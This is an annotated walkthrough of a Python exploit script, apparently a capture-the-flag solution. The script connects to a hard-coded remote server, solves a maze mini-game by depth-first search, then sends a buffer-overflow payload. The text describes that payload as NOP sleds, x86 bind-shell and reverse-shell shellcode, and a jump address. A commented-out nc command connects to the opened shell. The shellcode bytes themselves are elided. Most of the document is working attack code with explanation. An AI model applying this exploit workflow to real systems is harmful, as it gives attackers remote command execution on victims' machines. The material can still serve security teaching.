The main file you need to look at is 'solve_maze.py'
This is an automated maze-solver + buffer overflow exploit.
It connects to a remote server, completes a mini-game (maze), then uses a vulnerability to inject shellcode.
The shellcode will then start a reverse shell and connect back to the attacker.
Once exploited, the attacker gains remote command execution on the target.
import os, sys
import socket, errno
from time import sleep
maze_size = 3741
conn = ('104.236.116.183', 9000)maze_size→ size of the maze data in bytes expected from the server.conn→ the IP and port of the challenge server.
def shellcode():
...
bind_shell = b"..."
rev2 = b"..."bind_shell→ raw x86 shellcode that opens a bind shell on port4444.rev2→ reverse shell shellcode that connects back to a specific IP and port.- NOP sleds (
\x90) are added before and after to help the shellcode land in memory safely. - At the end:
is an address in the vulnerable process's memory (little-endian format).
b'\xd3\x79\x0b\x08' # address to jump to ECX
The function returns the complete payload.
def connect_sock():
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(conn)
sock.setblocking(False)
return sock- Connects to the target server.
- Sets non-blocking mode to avoid hanging during reads.
def read_sock(sock, size):
data = b""
while len(data) < size:
try:
data += sock.recv(4096)
except IOError as e:
sleep(.2)
if e.args[0] == errno.EAGAIN:
continue
else:
print(e)
sys.exit(0)
return data- Reads exactly
sizebytes from the socket, retrying if no data is ready (EAGAIN).
Uses recursive depth-first search (DFS) to find the path.
def solve_maze(y, x, maze):
try:
if maze[y][x] == 2: # Goal
return ""
elif maze[y][x] == 1: # Wall
return "E"
elif maze[y][x] == 3: # Already visited
return "E"
except IndexError:
return "E"
maze[y][x] = 3 # mark visited
ret = solve_maze(y+1, x, maze)
if ret != "E": return "s" + ret
ret = solve_maze(y, x-1, maze)
if ret != "E": return "a" + ret
ret = solve_maze(y-1, x, maze)
if ret != "E": return "w" + ret
ret = solve_maze(y, x+1, maze)
if ret != "E": return "d" + ret
return "E"-
Maze encoding:
0→ free space1→ wall2→ goal3→ visited
-
Movement mapping:
"w"= up"s"= down"a"= left"d"= right
def parse_maze(data):
maze = []
for y in range(43):
xa = []
for x in range(43):
rx = (y*87) + (x*2)
sym = data[rx:rx+2]
if sym == b"[]":
xa.append(1) # wall
elif sym == b" " or sym == b"<>":
xa.append(0) # empty
maze.append(xa)
maze[42][41] = 2 # exit
return maze- Converts ASCII maze into a 2D grid of numbers.
- Maze is 43 × 43 tiles, each tile taking 2 bytes in ASCII form.
- Bottom-right corner is marked as the exit.
if __name__ == "__main__":
sock = connect_sock()
data = read_sock(sock, maze_size)
maze = parse_maze(data)
solve = solve_maze(0, 1, maze)
print(data.decode())
sock.send(solve.encode())
recv_len = (len(solve) - 1) * maze_size + 56
data = read_sock(sock, recv_len)
print(data.decode())
sock.send(shellcode())
print("Dropping to shell ... ACTIVE\n")
# os.system("nc " + conn[0] + " 4444")Step-by-step:
- Connects to the server.
- Reads the maze data.
- Parses the maze into a 2D grid.
- Solves it from starting point
(0, 1). - Sends the movement string to the server.
- Reads additional response data.
- Sends the shellcode payload.
- Prepares to connect to the shell (commented out).